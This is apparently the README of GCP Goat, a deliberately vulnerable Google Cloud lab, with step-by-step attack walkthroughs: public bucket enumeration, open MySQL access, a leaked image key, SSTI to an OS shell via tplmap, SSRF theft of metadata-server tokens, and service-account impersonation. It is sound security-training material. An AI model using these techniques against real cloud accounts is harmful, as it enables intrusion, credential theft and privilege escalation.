drawing

❗Looking for Job : Hey Folks I am actively seeking job opportunities in roles related to Cloud Security (GCP), Infrastructure Security, and DevOps. If your organization is currently hiring for such positions, please feel free to get in touch with me. You can find more details about my qualifications and experience on my website.

GCP GOAT

GCP-Goat is intentionally vulnerable GCP environment to learn and practice GCP Security

⚠️ Disclaimer

GCP Goat is the intentionally vulnerable GCP Setup .Don't Deploy this in production Environment

GCP Goat comes with absolutely no warranties whatsoever. By using GCP Goat, you take full responsibility for any outcomes that result.

About the author

GCP goat was created by Joshua Jebaraj

Joshua Jebaraj is a cloud native security researcher and his primary area of interest resides around GCP and Kubernetes Security.He had also Spoken at conferences like BlackHat,Hack in the box,Defcon,Owasp-Seasides,Bsides-Delhi and Eko-party When away from the screen he can be found watching movies and making memes

Note this is the new version of GCP Goat and if you want to check the old version of GCP Goat you can find it here

Getting Started

This tutorial assumes that you have Google Cloud Account with Billing Enabled in order to create the resources need for the Setup

If you have don't have the Google Cloud Account Create one by following the given link Get Started with Google Cloud Platform

Go to the Google-Console

Create the new Project by Clicking Select Project

setup-1

Create the new Project by Clicking New Project

setup-2

Enter a Valid name and click Create

Please note the project ID for future reference Once it is done click on the below link to clone the repository

Clone the Repository

Tick the Trust Project and click on CONFIRM , It will take few seconds to clone the repository and open the cloud shell

Next export the project id using the below command

export PROJECT_ID="project-id"

Configuring the CLI

  • Once its is Go to the IAM Section by clicking the the link and click on the service account

  • Next click on the +CREATE SERVICE ACCOUNT button and Enter GCP GOAT as the service account name and click on CREATE AND CONTINUE

  • Next Select the Owner as the role and click on DONE

Note in the real world its not recommended to use the owner role for the service account but for the ease of demonstration we are using the owner role

  • Now select the Keys options and click on the ADD KEY and select create new key and select type as JSON

Note : The JSON file contains the sensitive information so make sure to keep it safe

  • Next copy the data and save it in a file named credentials.json in the root directory of the cloned repository

  • Next configure the gcloud cli using the below command

gcloud auth activate-service-account --key-file /filepatth/credentials.json

Make sure to replace the filepath with the actual path of the credentials.json file Next configure the project id using the below command

gcloud config set project $PROJECT_ID

Next enable the necessary services using the below command

gcloud services enable cloudresourcemanager.googleapis.com

gcloud services enable iam.googleapis.com

gcloud services enable compute.googleapis.com

Once it is done navigate into the scenarios directory by executing the below command

cd scenarios

Attacking Google Cloud Storage

In order to start the scenario go to the scenario-1 folder by typing the below command in the GCLOUD Shell

cd scenario-1

Go into the canary-token and generate the dummy aws creds and copy the value

Now move into the juice-shop folder and create the new file called aws-creds.txt and paste the copied value in the file 

cd juice-shop

Once it is done move back into the scenario-1 folder and zip the juice-shop folder by typing the below command in the GCLOUD Shell

cd ..

zip -r juice-shop.zip juice-shop/

Export the PROJECT_ID variable by typing the below command in the GCLOUD Shell

export PROJECT_ID="project-id"

Now deploy the infrastructure by typing the below command in the GCLOUD Shell

terraform init

terraform apply -auto-approve -var project-id=$PROJECT_ID -var unique-name=<BUCKET_NAME>

Note the BUCKET_NAME should be unique, if you get the error while deploying the infrastructure change the BUCKET_NAME and try again

Scenario info

Public-Facing Google Bucket is the most common vulnerability in the GCP environment Users often create the bucket with public access in order to use the data stored in the bucket to be used by external application ,Sometimes this leads leakage of sensitive information

In this scenario we are going to see how to find the public bucket using the TBD name and how to access the data stored in the bucket

Solution

In order to find the public bucket we are going to use the tool called gcp-enum

Install the gcp-enum by typing the below command in the GCLOUD Shell

git clone https://github.com/JOSHUAJEBARAJ/gcp-enum

Next navigate to the gcp-enum folder by typing the below command in the GCLOUD Shell

cd gcp-enum

Now run the gcp-enum by typing the below command in the GCLOUD Shell

go run main.go -k <unique-name> -file short-wordlist -c 10

Replace the <unique-name> with the bucket name which you have used while deploying the infrastructure

You will see one valid bucket name in the output which end with -backup

Note if you find the other bucket name with other than -backup , please ignore it and don't try to access it as it may belong to other users and it may lead to legal issues

Now try to access the bucket by typing the below url in the browser

http://<unique-name>-backup.storage.googleapis.com/

For example if the bucket name is gcp-goat-123 then the url will be 

http://gcp-goat-123-backup.storage.googleapis.com/

Now on acessing the url you will find the juice-shop.zip file

Let's download the file by typing the below command in the GCLOUD Shell

wget http://<unique-name>-backup.storage.googleapis.com/juice-shop.zip

Next unzip the file by typing the below command in the GCLOUD Shell

unzip juice-shop.zip

Now move into the juice-shop folder by typing the below command in the GCLOUD Shell

cd juice-shop

Now you will find the aws-creds.txt file in the folder

Clean up

To clean up the Scenario type the below command in the GCLOUD Shell

cd scenario-1

terraform destroy -auto-approve -var project-id=$PROJECT_ID -var unique-name=<unique-name>

Move into the previous folder by typing the below command in the GCLOUD Shell

cd ..

Attacking SQL Instance

In order to start the scenario go to the scenario-2 folder by typing the below command in the shell

cd scenario-2

Export the project ID by typing the below command in the GCLOUD Shell

export PROJECT_ID="project-id"

replace the project-id with your project ID

Next configure the gcloud to use the project by typing the below command in the shell 

gcloud config set project $PROJECT_ID

Next enable the Cloud SQL Admin API by typing the below command in the shell 

gcloud services enable sqladmin.googleapis.com

Next initialize the terraform by typing the below command in the shell 

terraform init

Next apply the terraform by typing the below command in the shell 

terraform apply -auto-approve -var project-id=$PROJECT_ID

Note This will take some time to create the resources be patient 🧘

Once it is done note the ip-address of the SQL Instance from the terraform output

Scenario info

Google SQL allows developers to set up the database without any hassle by default the database can be accessed only within the authorized network but during debugging the database sometimes the user may open the database to the public for easy debugging In this Scenario the attacker gets to know to about the public-facing SQL Instance

Solution

First we are going to perform some reconnaissance on the Instance using nmap, in order to do that we need to first install nmap in the GCLOUD Shell by typing the below command in the shell

sudo apt-get install nmap -y

Next run the nmap scan by typing the below command in the shell

nmap -Pn <SQL INSTANCE IP>

Running Nmap Scan on the IP reveals that MySQL service was running on the given instance

mysql -u root -h <ip>

Note This scenario assumes there was no authentication for the database , but in real world may find some weak credentials

Enter \q to exit the database

Clean up

To clean up the Scenario type the below command in the GCLOUD Shell

terraform destroy -auto-approve -var project-id=$PROJECT_ID

Attacking Artifact Registry

In order to start the scenario go to the scenario-3 folder by typing the below command in the shell

cd scenario-3

Export the project ID by typing the below command in the GCLOUD Shell

export PROJECT_ID="project-id"

replace the project-id with your project ID

Next configure the gcloud to use the project by typing the below command in the shell 

gcloud config set project $PROJECT_ID

Next enable the Artifact Registry api by typing the below command in the shell 

gcloud services enable artifactregistry.googleapis.com

Next initialize the terraform by typing the below command in the shell 

terraform init

Next apply the terraform by typing the below command in the shell 

terraform apply -auto-approve -var project-id=$PROJECT_ID

Next output the service account key by typing the below command in the shell 

terraform output -raw sa-key > creds.json

Next login into the artifact registry by typing the below command in the shell 

gcloud auth configure-docker us-central1-docker.pkg.dev

Next build and push the image using the below command 

docker build -t us-central1-docker.pkg.dev/$PROJECT_ID/gcp-goat/secret:latest .

docker push us-central1-docker.pkg.dev/$PROJECT_ID/gcp-goat/secret:latest

Scenario info

According to the google docs

Artifact Registry provides a single location for managing private packages and Docker container images.

Even though the Artifact Registry is private by default, sometimes users make the Artifact Registry public in order to use the packages and docker images in the external application, this leads to the leakage of sensitive information

In this scenario, we are going to see download the docker image from the Artifact Registry and extract the sensitive information from the docker image

Solution

Note: This scenario assumes that we have somehow able to find the project name and repo name

On your local machine , try to pull the docker image by typing the below command in the shell 

export PROJECT_ID="project-id"

docker pull us-central1-docker.pkg.dev/$PROJECT_ID/gcp-goat/secret:latest

Once the image is pulled, try to extract the sensitive information from the image by typing the below command in the shell 

docker run --rm -it us-central1-docker.pkg.dev/$PROJECT_ID/gcp-goat/secret:latest sh

Next try to list the files in the / directory by typing the below command in the shell 

ls

On executing the above command you will find the file called creds.json which contains the service account key

Now using the service account key we can access the GCP resources

Note for security reasons , the service account does not have any permission to access the resources, but in the real world, the service account will have the permission to access the resources

Clean up

In order to clean up the infrastructure, type the below command in the shell 

terraform destroy -auto-approve -var project-id=$PROJECT_ID

Attacking Google Kubernetes Engine

Inorder to start the scenario go to the scenario-4 folder by typing the below command in the GCLOUD SHELL

cd scenario-4

Note this scenarios requires you to run the both terraform and bash script

First export the project id using the below command 

export PROJECT_ID="project-id"

export PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")

Next deploy the k8s cluster using the below command

gcloud services enable container.googleapis.com

gcloud container clusters create gcp-goat-cluster \
    --workload-pool=$PROJECT_ID.svc.id.goog --machine-type=n1-standard-1 \
    --num-nodes=2 --zone "asia-east1-a"

Now configure the kubectl to use the cluster by typing the below command

gcloud  container clusters get-credentials gcp-goat-cluster --zone "asia-east1-a"

Note : It takes too long in order to setup the kubernetes cluster so be patient 🧘‍♂️

Once it is done create the namespace and kubernetes service account by typing the below command

kubectl create namespace test

kubectl create serviceaccount k8s-sa \
    --namespace test

Next deploy the necessary resources by typing the below command

terraform init

terraform apply -auto-approve -var project-id=$PROJECT_ID -var project_number=$PROJECT_NUMBER

Once it is done update the annotations of the k8s-sa service account by typing the below command

kubectl annotate serviceaccount \
    --namespace test k8s-sa \
    iam.gke.io/gcp-service-account=gcp-goat@$PROJECT_ID.iam.gserviceaccount.com

Deploy the application using the below command 

kubectl apply -f app.yaml -n test

Scenario info

According to the Official docs

Workload Identity allows a Kubernetes service account in your GKE cluster to act as an IAM service account. Pods that use the configured Kubernetes service account automatically authenticate as the IAM service account when accessing Google Cloud APIs. Using Workload Identity allows you to assign distinct, fine-grained identities and authorization for each application in your cluster.

In this scenario, we will deploy a vulnerable application to a Kubernetes cluster that has Workload Identity enabled. We will then exploit a vulnerability in the application and get the shell in the container, from there we will use the service account associated with the pod to perform the privilege escalation

The application we were deployed is exposed via the node port on the port 30003

First find the ip address of the node in order to access the application via nodeport by typing the below command

kubectl get nodes -o wide

Note the ip address of the node

Verify the application is running by typing the below command 

kubectl get pods -n test

Next try to access the application by accessing the below url in the browser

http://<node-ip>:30003/page

The application that we deployed is vulnerable to Server Side Template Injection we are going to exploit it to get the shell in the container

We can verify that by typing the below payload in the name parameter by entering the below payload in the search box and click on the Generate page 

{{7*7}}

You can see the output as 49 which means the application is vulnerable to Server Side Template Injection

Next we are going to use the tplmap tool to exploit the Server Side Template Injection vulnerability

In order to do that , first clone the tplmap repository by typing the below command in the GCLOUD SHELL

git clone https://github.com/epinna/tplmap.git

Next move into the directory by typing the below command in the terminal

cd tplmap

Next execute the below command to exploit the Server Side Template Injection vulnerability 

python3 tplmap.py -u http://<node-ip>:30003/page?name=gcp-goat --os-shell

You will get the shell in the container

Now we can use the service account associated with the pod to perform the privilege escalation

For example lets' try to list down the buckets in the project by typing the below command in the terminal

gsutil ls

You can find the list of buckets in the project

Since the service account has the Editor role we can perform as many actions as we want

If you are interested more on the Kubernetes I highly recommend to check out Kubernetes-Goat

Clean up

Exit from the os-shell by pressing Ctrl + C

To clean up the Scenario type the below command in the GCLOUD SHELL

gcloud container clusters delete   gcp-goat-cluster --zone "asia-east1-a" -q

Make sure to delete the kubernetes cluster before deleting the terraform resources

cd scenario-4

terraform destroy -auto-approve -var project-id=$PROJECT_ID -var project_number=$PROJECT_NUMBER

Move into the previous folder by typing the below command in the GCLOUD SHELL

cd ..

Attacking Google App Engine

Note please execute this scenario as the last scenario because it requires you to delete the project in order to clean up the resources

In order to start the scenario go to the scenario-5 folder by typing the below command in the GCLOUD Shell

First export the project id using the below command 

export PROJECT_ID="project-id"

Next configure the gcloud to use the project by typing the below command

gcloud config set project $PROJECT_ID

Next enable the App Engine API by typing the below command

gcloud services enable appengine.googleapis.com

Next deploy the App Engine by typing the below command

gcloud app deploy

Select the region you want to deploy and press Y to continue

Once it is done you can find the application url by typing the below command

gcloud app browse

Scenario Info

According to the Wikipedia

Google App Engine (often referred to as GAE or simply App Engine) is a Platform as a Service and cloud computing platform for developing and hosting web applications in Google-managed data centers. Applications are sandboxed and run across multiple servers. App Engine offers automatic scaling for web applications—as the number of requests increases for an application, App Engine automatically allocates more resources for the web application to handle the additional demand.

By default the App Engine is deployed with the default app engine service account which has the Editor role in the project

In this scenario we are going to exploit the SSRF vulnerability in the deployed application and use the Metadata Server to get the service account token

Solution

First Let's try to access the Metadata endpoint that gives you the information about the project id by typing the below payload in the URL field

http://metadata.google.internal/computeMetadata/v1/project/project-id

Under the Headers section add the below header

Metadata-Flavor: Google

And click on CHECK STATUS button and you can find the project id in the response

Next try to access the Metadata endpoint that gives you the information about the service account token by typing the below payload in the URL field

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

You can find the access_token in the response and you can use this token to perform the privilege escalation in the project

Note In recent version Compute Engine SSRF is only possible if you able to pass the headers as Metadata-Flavor: Google

Clean up

According to the google , there is no way to delete the App Engine service account so you have to delete the project in order to clean up the resources

So we recommend you to delete the project after completing the scenario

References

  1. In order to learn more about SSRF in Google Cloud I highly recommend to check out Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments by Chris Moberly

  2. More details about the meta-data endpoint link

Privilege Escalation Using Service account impersonation

In order to start the scenario go to the scenario-6 folder by typing the below command in the shell

cd scenario-6

Export the project ID by typing the below command in the GCLOUD Shell

export PROJECT_ID="project-id"

replace the project-id with your project ID

Next configure the gcloud to use the project by typing the below command in the shell 

gcloud config set project $PROJECT_ID

Next initialize the terraform by typing the below command in the shell 

terraform init

Next apply the terraform by typing the below command in the shell 

terraform apply -auto-approve -var project-id=$PROJECT_ID

Next output the service account key by typing the below command in the shell 

terraform output -raw sa-key > creds.json

Scenario Info

According to Google Documentation

A service account is a special kind of account used by an application or a virtual machine (VM) instance, not a person.

One of the coolest feature of the service account is that it can be impersonated by any user/service account in the project if the user/service account has the iam.serviceAccountTokenCreator role in the project. In this scenario we are going to exploit this feature

Whenever we want to impersonate the service account we need to add the iam.ServiceAccountTokenCreator role to the user/service account , but keep in the mind if we add this role at the project level then the user/service account can impersonate any service account in the project.

In this scenario we are going to impersonate the default-compute-engine service account which has the Editor role in the project

Solution

This scenario assumes that the attacker has already compromise the service-account which as the iam.serviceAccountTokenCreator

Configure the gcloud to use the service-account by typing the below command in the shell 

gcloud auth activate-service-account --key-file=creds.json

Now try to list the buckets in the project by typing the below command in the shell 

gsutil ls

You will get an error saying that you don't have permission to list the buckets

Next we are trying to impersonate the default-compute-engine service account which has Editor permission in the project

Export the default-compute-engine service account email by typing the below command in the shell 

export SA_EMAIL=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")-compute@developer.gserviceaccount.com

gcloud config set auth/impersonate_service_account $SA_EMAIL

Now try to list the buckets in the project by typing the below command in the shell 

gsutil ls

This time you will be able to list the buckets in the project

Now as the attacker you can do anything in the project as the default-compute-engine service account

Next we are going to unset the impersonated service account by typing the below command in the shell 

gcloud config unset auth/impersonate_service_account

Clean up

To clean up the Scenario type the below command in the GCLOUD Shell

terraform destroy -auto-approve -var project-id=$PROJECT_ID

Wrapping up

It's recommended to delete the project after you are done with the GCP Goat. You can do this by running the following command: 

export PROJECT_ID="project-id"

gcloud projects delete PROJECT_ID

Contributing to the GCP GOAT

Thanks for Showing Interest to Contribute to the GCP-GOAT

Here are the few ways you can contribute

  • Improving the Documentation
  • Adding More Scenarios to the GOAT
  • Improving the Application used in the Scenarios
  • Spreading the word with the community

In order to contribute to the GCP-GOAT get connected to the author via